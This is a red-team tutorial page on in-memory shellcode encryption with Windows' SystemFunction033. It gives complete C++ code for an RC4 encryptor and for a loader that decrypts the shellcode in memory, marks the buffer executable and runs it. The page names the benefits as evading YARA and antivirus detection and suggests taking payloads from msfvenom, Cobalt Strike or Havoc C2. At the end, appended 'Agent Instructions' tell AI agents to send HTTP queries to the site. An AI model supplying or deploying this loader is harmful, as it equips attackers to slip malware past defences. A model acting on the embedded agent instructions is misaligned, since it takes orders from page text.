# InMemory Shellcode Encryption and Decryption using SystemFunction033

### What is SystemFunction033

It is basically a function is Advapi32.dll which can do in RC4 encryption and decryption in memory

Read and learn about it from below links&#x20;

* <https://github.com/gentilkiwi/mimikatz/blob/c78b1cf37c517ae9d0e872447bb103da9fa6034a/modules/kull_m_crypto_system.h#L98>
* <https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode/>

### Tribute

So in his tweet <https://twitter.com/ShitSecure/status/1589276402532384768> asked what you think at night?

&#x20;Here's a copy of his blog post but in C++

### Shellcode Encode

First you want your shellcode to encode (what a silly requirement :joy:. You can get it from msfvenom or CobaltStrike or Havoc C2&#x20;

If you got in raw format you can use below command to quickly turn it into cpp usable format&#x20;

```
xxd -i shellcode.bin > shellcode.h
```

```cpp
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	//Hello
	//unsigned char shellcode[] = { 0x48,0x65,0x6c,0x6c,0x6f };
	//Encrypted RC4
	//unsigned char shellcode[] = { 0x41, 0xd6, 0xaa, 0x12, 0x8e };
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not 
	memset(shellcode, 0, shellcode_size);


	//Setting key values
	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	//Setting shellcode in the struct for Systemfunction033
	_data.Buffer = buffer;
	_data.Length = shellcode_size;


	//Calling Systemfunction033
	SystemFunction033(&_data, &key);

	//Writing encrypted shellcode to bin file
	FILE* fp = fopen("enc_shellcode.bin", "wb");

	// Write the contents of the pvoid pointer to the file. They contents should be encrypted
	fwrite(buffer, shellcode_size, 1, fp);

	// Close the file
	fclose(fp);
	
	//instead if you want to print out the mem contents 
	/*
	for (unsigned int i = 0; i < _data.Length; i++)
	{
		cout << std::hex << (unsigned int)*((unsigned char*)buffer + i) << " ";
	}
	*/

	return 0;
}

```

Check the file enc\_shellcode.bin, you should have an encrypted shellcode

### Shellcode Injection with Systemfunction033

Hoping you got the enc\_shellcode.bin file now its time to get it decrypted in memory again

But first lets get your encrypted shellcode in cpp&#x20;

```
xxd -i enc_shellcode.bin > enc_shellcode.h
```

Now once we have that header file lets begin simple injection in memory&#x20;

```cpp
#include <windows.h>
#include <Winbase.h>
#include <iostream>
#include <string>
#include "enc_shellcode.h"

#pragma warning(disable:4996)


using namespace std;

// Function prototype for SystemFunction033
typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PVOID Buffer;
} _data, key, _data2;
int main()
{

	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char _key[] = "alphaBetagamma";

	
	unsigned int shellcode_size = sizeof(shellcode);

	PVOID buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	// Copy the character array to the allocated memory using memcpy.
	std::memcpy(buffer, shellcode, shellcode_size);
	
	//just setting null values at shellcode, cause why not and why keep two copies in memory
	memset(shellcode, 0, shellcode_size);


	key.Buffer = (&_key);
	key.Length = sizeof(_key);

	_data.Buffer = buffer;
	_data.Length = shellcode_size;

	SystemFunction033(&_data, &key);
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)buffer, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
	((void(*)())buffer)();
	WaitForSingleObject((HANDLE)-1, -1);


	return 0;
}


```

### Benefits ?

Bypass YARA detection if you are using Single Byte XOR&#x20;

Defeat the AV "On Injection"  shellcode detection as the decryption happens after the shellcode is put in memory

You dont want to write error prone code of encoding and decoding

### Credits

As always, my sensei [@vysecurity](https://twitter.com/vysecurity/)

Good to know [@S3cur3Th1sSh1t](https://twitter.com/ShitSecure) suffers from same disorder (weird thoughts at night) :joy:

Code stolen from <https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.redteam.cafe/red-team/shellcode-injection/inmemory-shellcode-encryption-and-decryption-using-systemfunction033.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
